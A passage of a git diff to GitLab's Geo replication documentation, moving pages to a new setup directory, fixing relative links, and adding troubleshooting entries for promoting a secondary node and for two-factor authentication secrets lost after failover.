Role -## - postgresql.conf -## -wal_level = hot_standby -max_wal_senders = 10 -wal_keep_segments = 50 -max_replication_slots = 1 # number of secondary instances -hot_standby = on -``` - -## **Secondary** nodes - -### Manually configure the replica database - -Make the following configuration changes manually to your `pg_hba.conf` and `postgresql.conf` -of your external replica database and ensure that you restart PostgreSQL afterwards -for the changes to take effect: - -```plaintext -## -## Geo Secondary Role -## - pg_hba.conf -## -host all all <trusted secondary IP>/32 md5 -host replication gitlab_replicator <trusted secondary IP>/32 md5 -host all all <trusted primary IP>/24 md5 -``` - -```plaintext -## -## Geo Secondary Role -## - postgresql.conf -## -wal_level = hot_standby -max_wal_senders = 10 -wal_keep_segments = 10 -hot_standby = on -``` - -### Configure **secondary** application nodes to use the external read-replica - -With Omnibus, the -[`geo_secondary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles) -has three main functions: - -1. Configure the replica database. -1. Configure the tracking database. -1. Enable the [Geo Log Cursor](index.md#geo-log-cursor) (not covered in this section). - -To configure the connection to the external read-replica database and enable Log Cursor: - -1. SSH into a GitLab **secondary** application server and login as root: - - ```shell - sudo -i - ``` - -1. Edit `/etc/gitlab/gitlab.rb` and add the following - - ```ruby - ## - ## Geo Secondary role - ## - configure dependent flags automatically to enable Geo - ## - roles ['geo_secondary_role'] - - # note this is shared between both databases, - # make sure you define the same password in both - gitlab_rails['db_password'] = '<your_password_here>' - - gitlab_rails['db_username'] = 'gitlab' - gitlab_rails['db_host'] = '<database_read_replica_host>' - - # Disable the bundled Omnibus PostgreSQL, since we are - # using an external PostgreSQL - postgresql['enable'] = false - ``` - -1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) - -### Configure the tracking database - -**Secondary** nodes use a separate PostgreSQL installation as a tracking -database to keep track of replication status and automatically recover from -potential replication issues. Omnibus automatically configures a tracking database -when `roles ['geo_secondary_role']` is set. -If you want to run this database external to Omnibus, please follow the instructions below. - -If you are using a cloud-managed service for the tracking database, you may need -to grant additional roles to your tracking database user (by default, this is -`gitlab_geo`): - -- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role. -- Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role. - -If you have an external database ready to be used as the tracking database, -follow the instructions below to use it: - -NOTE: **Note:** -If you want to use AWS RDS as a tracking database, make sure it has access to -the secondary database. Unfortunately, just assigning the same security group is not enough as -outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to explicitly add an inbound -rule to the read-replica's security group allowing any TCP traffic from -the tracking database on port 5432. - -1. Ensure that your secondary node can communicate with your tracking database by - manually changing the `pg_hba.conf` that is associated with your tracking database. - Remember to restart PostgreSQL afterwards for the changes to take effect: - - ```plaintext - ## - ## Geo Tracking Database Role - ## - pg_hba.conf - ## - host all all <trusted tracking IP>/32 md5 - host all all <trusted secondary IP>/32 md5 - ``` - -1. SSH into a GitLab **secondary** server and login as root: - - ```shell - sudo -i - ``` - -1. Edit `/etc/gitlab/gitlab.rb` with the connection parameters and credentials for - the machine with the PostgreSQL instance: - - ```ruby - geo_secondary['db_username'] = 'gitlab_geo' - geo_secondary['db_password'] = '<your_password_here>' - - geo_secondary['db_host'] = '<tracking_database_host>' - geo_secondary['db_port'] = <tracking_database_port> # change to the correct port - geo_postgresql['enable'] = false # don't use internal managed instance - ``` - -1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) - -1. Run the tracking database migrations: - - ```shell - gitlab-rake geo:db:create - gitlab-rake geo:db:migrate - ``` +This document was moved to [another location](../setup/external_database.md). diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md index 522ad32c352..3892d73b465 100644 --- a/doc/administration/geo/replication/faq.md +++ b/doc/administration/geo/replication/faq.md @@ -9,7 +9,7 @@ type: howto ## What are the minimum requirements to run Geo? -The requirements are listed [on the index page](index.md#requirements-for-running-geo) +The requirements are listed [on the index page](../index.md#requirements-for-running-geo) ## How does Geo know which projects to sync? diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md index 323f6f367b1..8247b8c6336 100644 --- a/doc/administration/geo/replication/geo_validation_tests.md +++ b/doc/administration/geo/replication/geo_validation_tests.md @@ -158,3 +158,15 @@ The following are PostgreSQL upgrade validation tests we performed. - [`gitlab-ctl` reconfigure fails on Redis node in multi-node Geo setup](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4706). - [Geo multi-node upgrade from 12.0.9 to 12.1.9 does not upgrade PostgreSQL](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4705). - [Refresh foreign tables fails on app server in multi-node setup after upgrade to 12.1.9](https://gitlab.com/gitlab-org/gitlab/-/issues/32119). + +## Other tests + +The following are additional validation tests we performed. + +### August 2020 + +[Test Gitaly Cluster on a Geo Deployment](https://gitlab.com/gitlab-org/gitlab/-/issues/223210): + +- Description: Tested a Geo deployment with Gitaly clusters configured on both the primary and secondary Geo sites. Triggered automatic Gitaly cluster failover on the primary Geo site, and ran end-to-end Geo tests. Then triggered Gitaly cluster failover on the secondary Geo site, and re-ran the end-to-end Geo tests. + +- Outcome: Successful end-to-end tests before and after Gitaly cluster failover on the primary site, and before and after Gitaly cluster failover on the secondary site. diff --git a/doc/administration/geo/replication/index.md b/doc/administration/geo/replication/index.md index f1cc9f0df8b..5e9dd73ecc5 100644 --- a/doc/administration/geo/replication/index.md +++ b/doc/administration/geo/replication/index.md @@ -1,316 +1,5 @@ --- -stage: Enablement -group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -type: howto +redirect_to: '../index.md' --- -# Replication (Geo) **(PREMIUM ONLY)** - -> - Introduced in GitLab Enterprise Edition 8.9. -> - Using Geo in combination with -> [multi-node architectures](../../reference_architectures/index.md) -> is considered **Generally Available** (GA) in -> [GitLab Premium](https://about.gitlab.com/pricing/) 10.4. - -Replication with Geo is the solution for widely distributed development teams. - -## Overview - -Fetching large repositories can take a long time for teams located far from a single GitLab instance. - -Geo provides local, read-only instances of your GitLab instances. This can reduce the time it takes -to clone and fetch large repositories, speeding up development. - -NOTE: **Note:** -Check the [requirements](#requirements-for-running-geo) carefully before setting up Geo. - -For a video introduction to Geo, see [Introduction to GitLab Geo - GitLab Features](https://www.youtube.com/watch?v=-HDLxSjEh6w). - -CAUTION: **Caution:** -Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation. - -To make sure you're using the right version of the documentation, navigate to [the source version of this page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/replication/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v11.2.3-ee`](https://gitlab.com/gitlab-org/gitlab/blob/v11.2.3-ee/doc/administration/geo/replication/index.md). - -## Use cases - -Implementing Geo provides the following benefits: - -- Reduce from minutes to seconds the time taken for your distributed developers to clone and fetch large repositories and projects. -- Enable all of your developers to contribute ideas and work in parallel, no matter where they are. -- Balance the read-only load between your **primary** and **secondary** nodes. - -In addition, it: - -- Can be used for cloning and fetching projects, in addition to reading any data available in the GitLab web interface (see [current limitations](#current-limitations)). -- Overcomes slow connections between distant offices, saving time by improving speed for distributed teams. -- Helps reducing the loading time for automated tasks, custom integrations, and internal workflows. -- Can quickly fail over to a **secondary** node in a [disaster recovery](../disaster_recovery/index.md) scenario. -- Allows [planned failover](../disaster_recovery/planned_failover.md) to a **secondary** node. - -Geo provides: - -- Read-only **secondary** nodes: Maintain one **primary** GitLab node while still enabling read-only **secondary** nodes for each of your distributed teams. -- Authentication system hooks: **Secondary** nodes receives all authentication data (like user accounts and logins) from the **primary** instance. -- An intuitive UI: **Secondary** nodes utilize the same web interface your team has grown accustomed to. In addition, there are visual notifications that block write operations and make it clear that a user is on a **secondary** node. - -## How it works - -Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster. - - - -When Geo is enabled, the: - -- Original instance is known as the **primary** node. -- Replicated read-only nodes are known as **secondary** nodes. - -Keep in mind that: - -- **Secondary** nodes talk to the **primary** node to: - - Get user data for logins (API). - - Replicate repositories, LFS Objects, and Attachments (HTTPS + JWT). -- Since GitLab Premium 10.0, the **primary** node no longer talks to **secondary** nodes to notify for changes (API). -- Pushing directly to a **secondary** node (for both HTTP and SSH, including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3. -- There are [limitations](#current-limitations) in the current implementation. - -### Architecture - -The following diagram illustrates the underlying architecture of Geo. - - - -In this diagram: - -- There is the **primary** node and the details of one **secondary** node. -- Writes to the database can only be performed on the **primary** node. A **secondary** node receives database - updates via PostgreSQL streaming replication. -- If present, the [LDAP server](#ldap) should be configured to replicate for [Disaster Recovery](../disaster_recovery/index.md) scenarios. -- A **secondary** node performs different type of synchronizations against the **primary** node, using a special - authorization protected by JWT: - - Repositories are cloned/updated via Git over HTTPS. - - Attachments, LFS objects, and other files are downloaded via HTTPS using a private API endpoint. - -From the perspective of a user performing Git operations: - -- The **primary** node behaves as a full read-write GitLab instance. -- **Secondary** nodes are read-only but proxy Git push operations to the **primary** node. This makes **secondary** nodes appear to support push operations themselves. - -To simplify the diagram, some necessary components are omitted. Note that: - -- Git over SSH requires [`gitlab-shell`](https://gitlab.com/gitlab-org/gitlab-shell) and OpenSSH. -- Git over HTTPS required [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse). - -Note that a **secondary** node needs two different PostgreSQL databases: - -- A read-only database instance that streams data from the main GitLab database. -- [Another database instance](#geo-tracking-database) used internally by the **secondary** node to record what data has been replicated. - -In **secondary** nodes, there is an additional daemon: [Geo Log Cursor](#geo-log-cursor). - -## Requirements for running Geo - -The following are required to run Geo: - -- An operating system that supports OpenSSH 6.9+ (needed for - [fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md)) - The following operating systems are known to ship with a current version of OpenSSH: - - [CentOS](https://www.centos.org) 7.4+ - - [Ubuntu](https://ubuntu.com) 16.04+ -- PostgreSQL 11+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication) -- Git 2.9+ -- All nodes must run the same GitLab version. - -Additionally, check GitLab's [minimum requirements](../../../install/requirements.md), -and we recommend you use: - -- At least GitLab Enterprise Edition 10.0 for basic Geo features. -- The latest version for a better experience. - -### Firewall rules - -The following table lists basic ports that must be open between the **primary** and **secondary** nodes for Geo. - -| **Primary** node | **Secondary** node | Protocol | -|:-----------------|:-------------------|:-------------| -| 80 | 80 | HTTP | -| 443 | 443 | TCP or HTTPS | -| 22 | 22 | TCP | -| 5432 | | PostgreSQL | - -See the full list of ports used by GitLab in [Package defaults](https://docs.gitlab.com/omnibus/package-information/defaults.html) - -NOTE: **Note:** -[Web terminal](../../../ci/environments/index.md#web-terminals) support requires your load balancer to correctly handle WebSocket connections. -When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../../integration/terminal.md) integration guide for more details. - -NOTE: **Note:** -When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers. -If you wish to terminate SSL at the GitLab application server instead, use TCP protocol. - -### LDAP - -We recommend that if you use LDAP on your **primary** node, you also set up secondary LDAP servers on each **secondary** node. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** node using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work. - -NOTE: **Note:** -It is possible for all **secondary** nodes to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](../disaster_recovery/index.md) scenario if a **secondary** node is promoted to be a **primary** node. - -Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). - -### Geo Tracking Database - -The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example: - -- Download new assets. -- Fetch new LFS Objects. -- Fetch changes from a repository that has recently been updated. - -Because the replicated database instance is read-only, we need this additional database instance for each **secondary** node. - -### Geo Log Cursor - -This daemon: - -- Reads a log of events replicated by the **primary** node to the **secondary** database instance. -- Updates the Geo Tracking Database instance with changes that need to be executed. - -When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** node will execute the required operations and update the state. - -This new architecture allows GitLab to be resilient to connectivity issues between the nodes. It doesn't matter how long the **secondary** node is disconnected from the **primary** node as it will be able to replay all the events in the correct order and become synchronized with the **primary** node again. - -## Setup instructions - -These instructions assume you have a working instance of GitLab. They guide you through: - -1. Making your existing instance the **primary** node. -1. Adding **secondary** nodes. - -CAUTION: **Caution:** -The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.** - -### Using Omnibus GitLab - -If you installed GitLab using the Omnibus packages (highly recommended): - -1. [Install GitLab Enterprise Edition](https://about.gitlab.com/install/) on the server that will serve as the **secondary** node. Do not create an account or log in to the new **secondary** node. -1. [Upload the GitLab License](../../../user/admin_area/license.md) on the **primary** node to unlock Geo. The license must be for [GitLab Premium](https://about.gitlab.com/pricing/) or higher. -1. [Set up the database replication](database.md) (`primary (read-write) <-> secondary (read-only)` topology). -1. [Configure fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md). This step is required and needs to be done on **both** the **primary** and **secondary** nodes. -1. [Configure GitLab](configuration.md) to set the **primary** and **secondary** nodes. -1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** node. See [notes on LDAP](#ldap). -1. [Follow the "Using a Geo Server" guide](using_a_geo_server.md). - -## Post-installation documentation - -After installing GitLab on the **secondary** nodes and performing the initial configuration, see the following documentation for post-installation information. - -### Configuring Geo - -For information on configuring Geo, see [Geo configuration](configuration.md). - -### Updating Geo - -For information on how to update your Geo nodes to the latest GitLab version, see [Updating the Geo nodes](updating_the_geo_nodes.md). - -### Pausing and resuming replication - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35913) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. - -In some circumstances, like during [upgrades](updating_the_geo_nodes.md) or a [planned failover](../disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary. - -Pausing and resuming replication is done via a command line tool from the secondary node. - -**To Pause: (from secondary)** - -```shell -gitlab-ctl geo-replication-pause -``` - -**To Resume: (from secondary)** - -```shell -gitlab-ctl geo-replication-resume -``` - -### Configuring Geo for multiple nodes - -For information on configuring Geo for multiple nodes, see [Geo for multiple servers](multiple_servers.md). - -### Configuring Geo with Object Storage - -For information on configuring Geo with object storage, see [Geo with Object storage](object_storage.md). - -### Disaster Recovery - -For information on using Geo in disaster recovery situations to mitigate data-loss and restore services, see [Disaster Recovery](../disaster_recovery/index.md). - -### Replicating the Container Registry - -For more information on how to replicate the Container Registry, see [Docker Registry for a **secondary** node](docker_registry.md). - -### Security Review - -For more information on Geo security, see [Geo security review](security_review.md). - -### Tuning Geo - -For more information on tuning Geo, see [Tuning Geo](tuning.md). - -### Set up a location-aware Git URL - -For an example of how to set up a location-aware Git remote URL with AWS Route53, see [Location-aware Git remote URL with AWS Route53](location_aware_git_url.md). - -## Remove Geo node - -For more information on removing a Geo node, see [Removing **secondary** Geo nodes](remove_geo_node.md). - -## Disable Geo - -To find out how to disable Geo, see [Disabling Geo](disable_geo.md). - -## Current limitations - -CAUTION: **Caution:** -This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place. - -- Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`. -- Cloning, pulling, or pushing repositories that exist on the **primary** node but not on the **secondary** nodes where [selective synchronization](configuration.md#selective-synchronization) does not include the project is not supported over SSH [but support is planned](https://gitlab.com/groups/gitlab-org/-/epics/2562). HTTP(S) is supported. -- The **primary** node has to be online for OAuth login to happen. Existing sessions and Git are not affected. Support for the **secondary** node to use an OAuth provider independent from the primary is [being planned](https://gitlab.com/gitlab-org/gitlab/-/issues/208465). -- The installation takes multiple manual steps that together can take about an hour depending on circumstances. We are working on improving this experience. See [Omnibus GitLab issue #2978](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/2978) for details. -- Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node. -- [Selective synchronization](configuration.md#selective-synchronization) applies only to files and repositories. Other datasets are replicated to the **secondary** node in full, making it inappropriate for use as an access control mechanism. -- Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node. -- [External merge request diffs](../../merge_request_diffs.md) will not be replicated if they are on-disk, and viewing merge requests will fail. However, external MR diffs in object storage **are** supported. The default configuration (in-database) does work. -- GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294). - -### Limitations on replication/verification - -You can keep track of the progress to implement the missing items in -these epics/issues: - -- [Unreplicated Data Types](https://gitlab.com/groups/gitlab-org/-/epics/893) -- [Verify all replicated data](https://gitlab.com/groups/gitlab-org/-/epics/1430) - -There is a complete list of all GitLab [data types](datatypes.md) and [existing support for replication and verification](datatypes.md#limitations-on-replicationverification). - -## Frequently Asked Questions - -For answers to common questions, see the [Geo FAQ](faq.md). - -## Log files - -Since GitLab 9.5, Geo stores structured log messages in a `geo.log` file. For Omnibus installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`. - -This file contains information about when Geo attempts to sync repositories and files. Each line in the file contains a separate JSON entry that can be ingested into. For example, Elasticsearch or Splunk. - -For example: - -```json -{"severity":"INFO","time":"2017-08-06T05:40:16.104Z","message":"Repository update","project_id":1,"source":"repository","resync_repository":true,"resync_wiki":true,"class":"Gitlab::Geo::LogCursor::Daemon","cursor_delay_s":0.038} -``` - -This message shows that Geo detected that a repository update was needed for project `1`. - -## Troubleshooting - -For troubleshooting steps, see [Geo Troubleshooting](troubleshooting.md). +This document was moved to [another location](../index.md). diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md index 8b086e3ff5f..ddcdea736e7 100644 --- a/doc/administration/geo/replication/location_aware_git_url.md +++ b/doc/administration/geo/replication/location_aware_git_url.md @@ -44,7 +44,7 @@ In any case, you require: - A Route53 Hosted Zone managing your domain. If you have not yet setup a Geo **primary** node and **secondary** node, please consult -[the Geo setup instructions](index.md#setup-instructions). +[the Geo setup instructions](../index.md#setup-instructions). ## Create a traffic policy diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md index 31d1ea2cd2b..cba41c375a3 100644 --- a/doc/administration/geo/replication/multiple_servers.md +++ b/doc/administration/geo/replication/multiple_servers.md @@ -147,7 +147,7 @@ The following documentation assumes the database will be run on a single node only. Multi-node PostgreSQL on **secondary** nodes is [not currently supported](https://gitlab.com/groups/gitlab-org/-/epics/2536). -Configure the [**secondary** database](database.md) as a read-only replica of +Configure the [**secondary** database](../setup/database.md) as a read-only replica of the **primary** database. Use the following as a guide. 1. Generate an MD5 hash of the desired password for the database user that the @@ -222,7 +222,7 @@ the **primary** database. Use the following as a guide. After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect. If using an external PostgreSQL instance, refer also to -[Geo with external PostgreSQL instances](external_database.md). +[Geo with external PostgreSQL instances](../setup/external_database.md). ### Step 3: Configure the tracking database on the **secondary** node @@ -294,7 +294,7 @@ Configure the tracking database. After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect. If using an external PostgreSQL instance, refer also to -[Geo with external PostgreSQL instances](external_database.md). +[Geo with external PostgreSQL instances](../setup/external_database.md). ### Step 4: Configure the frontend application servers on the **secondary** node diff --git a/doc/administration/geo/replication/object_storage.md b/doc/administration/geo/replication/object_storage.md index 159e2524198..642d31f6298 100644 --- a/doc/administration/geo/replication/object_storage.md +++ b/doc/administration/geo/replication/object_storage.md @@ -26,7 +26,7 @@ To have: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10586) in GitLab 12.4. CAUTION: **Caution:** -This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale. +This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale. The main limitations are a lack of testing at scale and no verification of any replicated data. **Secondary** nodes can replicate files stored on the **primary** node regardless of whether they are stored on the local filesystem or in object storage. @@ -44,7 +44,7 @@ For LFS, follow the documentation to For CI job artifacts, there is similar documentation to configure [jobs artifact object storage](../../job_artifacts.md#using-object-storage) -For user uploads, there is similar documentation to configure [upload object storage](../../uploads.md#using-object-storage-core-only) +For user uploads, there is similar documentation to configure [upload object storage](../../uploads.md#using-object-storage) If you want to migrate the **primary** node's files to object storage, you can configure the **secondary** in a few ways: diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md index f5edf79c6e4..28b8c8a9d51 100644 --- a/doc/administration/geo/replication/security_review.md +++ b/doc/administration/geo/replication/security_review.md @@ -37,7 +37,7 @@ from [owasp.org](https://owasp.org/). private projects. Geo replicates them all indiscriminately. “Selective sync” exists for files and repositories (but not database content), which would permit only less-sensitive projects to be replicated to a **secondary** node if desired. -- See also: [GitLab data classification policy](https://about.gitlab.com/handbook/engineering/security/data-classification-policy.html). +- See also: [GitLab data classification policy](https://about.gitlab.com/handbook/engineering/security/data-classification-standard.html). ### What data backup and retention requirements have been defined for the application? @@ -123,7 +123,7 @@ from [owasp.org](https://owasp.org/). - Geo imposes no additional restrictions on operating system (see the [GitLab installation](https://about.gitlab.com/install/) page for more - details), however we recommend using the operating systems listed in the [Geo documentation](index.md#requirements-for-running-geo). + details), however we recommend using the operating systems listed in the [Geo documentation](../index.md#requirements-for-running-geo). ### What details regarding required OS components and lock‐down needs have been defined? diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index b8172322c10..f6d6f39fb19 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -251,7 +251,7 @@ sudo gitlab-rake gitlab:geo:check When performing a PostgreSQL major version (9 > 10) update this is expected. Follow: - - [initiate-the-replication-process](database.md#step-3-initiate-the-replication-process) + - [initiate-the-replication-process](../setup/database.md#step-3-initiate-the-replication-process) ## Fixing replication errors @@ -268,7 +268,7 @@ default to 1. You may need to increase this value if you have more Be sure to restart PostgreSQL for this to take effect. See the [PostgreSQL replication -setup](database.md#postgresql-replication) guide for more details. +setup](../setup/database.md#postgresql-replication) guide for more details. ### Message: `FATAL: could not start WAL streaming: ERROR: replication slot "geo_secondary_my_domain_com" does not exist`? @@ -276,11 +276,11 @@ This occurs when PostgreSQL does not have a replication slot for the **secondary** node by that name. You may want to rerun the [replication -process](database.md) on the **secondary** node . +process](../setup/database.md) on the **secondary** node . ### Message: "Command exceeded allowed execution time" when setting up replication? -This may happen while [initiating the replication process](database.md#step-3-initiate-the-replication-process) on the **secondary** node, +This may happen while [initiating the replication process](../setup/database.md#step-3-initiate-the-replication-process) on the **secondary** node, and indicates that your initial dataset is too large to be replicated in the default timeout (30 minutes). Re-run `gitlab-ctl replicate-geo-database`, but include a larger value for @@ -603,9 +603,9 @@ or `gitlab-ctl promote-to-primary-node`, either: bug](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22021) was fixed. -If the above does not work, another possible reason is that you have paused replication -from the original primary node before attempting to promote this node. +### Message: ActiveRecord::RecordInvalid: Validation failed: Enabled Geo primary node cannot be disabled +This error may occur if you have paused replication from the original primary node before attempting to promote this node. To double check this, you can do the following: - Get the current secondary node's ID using: @@ -632,6 +632,23 @@ To double check this, you can do the following: UPDATE geo_nodes SET enabled = 't' WHERE id = ID_FROM_ABOVE; ``` +### While Promoting the secondary, I got an error `ActiveRecord::RecordInvalid` + +If you disabled a secondary node, either with the [replication pause task](../index.md#pausing-and-resuming-replication) +(13.2) or via the UI (13.1 and earlier), you must first re-enable the +node before you can continue. This is fixed in 13.4. + +From `gitlab-psql`, execute the following, replacing `<your secondary url>` +with the URL for your secondary server starting with `http` or `https` and ending with a `/`. + +```shell +SECONDARY_URL="https://<secondary url>/" +DATABASE_NAME="gitlabhq_production" +sudo gitlab-psql -d "$DATABASE_NAME" -c "UPDATE geo_nodes SET enabled = true WHERE url = '$SECONDARY_URL';" +``` + +This should update 1 row. + ### Message: ``NoMethodError: undefined method `secondary?' for nil:NilClass`` When [promoting a **secondary** node](../disaster_recovery/index.md#step-3-promoting-a-secondary-node), @@ -674,6 +691,20 @@ sudo /opt/gitlab/embedded/bin/gitlab-pg-ctl promote GitLab 12.9 and later are [unaffected by this error](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5147). +### Two-factor authentication is broken after a failover + +The setup instructions for Geo prior to 10.5 failed to replicate the +`otp_key_base` secret, which is used to encrypt the two-factor authentication +secrets stored in the database. If it differs between **primary** and **secondary** +nodes, users with two-factor authentication enabled won't be able to log in +after a failover. + +If you still have access to the old **primary** node, you can follow the +instructions in the +[Upgrading to GitLab 10.5](../replication/version_specific_updates.md#updating-to-gitlab-105) +section to resolve the error. Otherwise, the secret is lost and you'll need to +[reset two-factor authentication for all users](../../../security/two_factor_authentication.md#disabling-2fa-for-everyone). + ## Expired artifacts If you notice for some reason there are more artifacts on the Geo @@ -723,7 +754,7 @@ This error refers to a problem with the database replica on a **secondary** node which Geo expects to have access to. It usually means, either: - An unsupported replication method was used (for example, logical replication). -- The instructions to setup a [Geo database replication](database.md) were not followed correctly. +- The instructions to setup a [Geo database replication](../setup/database.md) were not followed correctly. - Your database connection details are incorrect, that is you have specified the wrong user in your `/etc/gitlab/gitlab.rb` file. @@ -743,7 +774,7 @@ The most common problems that prevent the database from replicating correctly ar - Database replication slot is misconfigured. - Database is not using a replication slot or another alternative and cannot catch-up because WAL files were purged. -Make sure you follow the [Geo database replication](database.md) instructions for supported configuration. +Make sure you follow the [Geo database replication](../setup/database.md) instructions for supported configuration. ### Geo database version (...) does not match latest migration (...) diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md index c0b1bc6688c..b78aeb06ebf 100644 --- a/doc/administration/geo/replication/updating_the_geo_nodes.md +++ b/doc/administration/geo/replication/updating_the_geo_nodes.md @@ -7,33 +7,15 @@ type: howto # Updating the Geo nodes **(PREMIUM ONLY)** +CAUTION: **Warning:** +Please ensure you read these sections carefully before updating your Geo nodes! Not following version-specific update steps may result in unexpected downtime. Please [contact support](https://about.gitlab.com/support/#contact-support) if you have any specific questions. + Updating Geo nodes involves performing: -1. [Version-specific update steps](#version-specific-update-steps), depending on the +1. [Version-specific update steps](version_specific_updates.md), depending on the version being updated to or from. 1. [General update steps](#general-update-steps), for all updates. -## Version specific update steps - -Depending on which version of Geo you are updating to/from, there may be -different steps. - -- [Updating to GitLab 12.9](version_specific_updates.md#updating-to-gitlab-129) -- [Updating to GitLab 12.7](version_specific_updates.md#updating-to-gitlab-127) -- [Updating to GitLab 12.2](version_specific_updates.md#updating-to-gitlab-122) -- [Updating to GitLab 12.1](version_specific_updates.md#updating-to-gitlab-121) -- [Updating to GitLab 12.0](version_specific_updates.md#updating-to-gitlab-120) -- [Updating to GitLab 11.11](version_specific_updates.md#updating-to-gitlab-1111) -- [Updating to GitLab 10.8](version_specific_updates.md#updating-to-gitlab-108) -- [Updating to GitLab 10.6](version_specific_updates.md#updating-to-gitlab-106) -- [Updating to GitLab 10.5](version_specific_updates.md#updating-to-gitlab-105) -- [Updating to GitLab 10.3](version_specific_updates.md#updating-to-gitlab-103) -- [Updating to GitLab 10.2](version_specific_updates.md#updating-to-gitlab-102) -- [Updating to GitLab 10.1](version_specific_updates.md#updating-to-gitlab-101) -- [Updating to GitLab 10.0](version_specific_updates.md#updating-to-gitlab-100) -- [Updating from GitLab 9.3 or older](version_specific_updates.md#updating-from-gitlab-93-or-older) -- [Updating to GitLab 9.0](version_specific_updates.md#updating-to-gitlab-90) - ## General update steps NOTE: **Note:** @@ -42,12 +24,12 @@ These general update steps are not intended for [high-availability deployments]( To update the Geo nodes when a new GitLab version is released, update **primary** and all **secondary** nodes: -1. **Optional:** [Pause replication on each **secondary** node.](./index.md#pausing-and-resuming-replication) +1. **Optional:** [Pause replication on each **secondary** node.](../index.md#pausing-and-resuming-replication) 1. Log into the **primary** node. 1. [Update GitLab on the **primary** node using Omnibus](https://docs.gitlab.com/omnibus/update/README.html). 1. Log into each **secondary** node. 1. [Update GitLab on each **secondary** node using Omnibus](https://docs.gitlab.com/omnibus/update/README.html). -1. If you paused replication in step 1, [resume replication on each **secondary**](./index.md#pausing-and-resuming-replication) +1. If you paused replication in step 1, [resume replication on each **secondary**](../index.md#pausing-and-resuming-replication) 1. [Test](#check-status-after-updating) **primary** and **secondary** nodes, and check version in each. ### Check status after updating diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md index 3f2895f1c71..aeed5a44b30 100644 --- a/doc/administration/geo/replication/using_a_geo_server.md +++ b/doc/administration/geo/replication/using_a_geo_server.md @@ -9,7 +9,7 @@ type: howto # Using a Geo Server **(PREMIUM ONLY)** -After you set up the [database replication and configure the Geo nodes](index.md#setup-instructions), use your closest 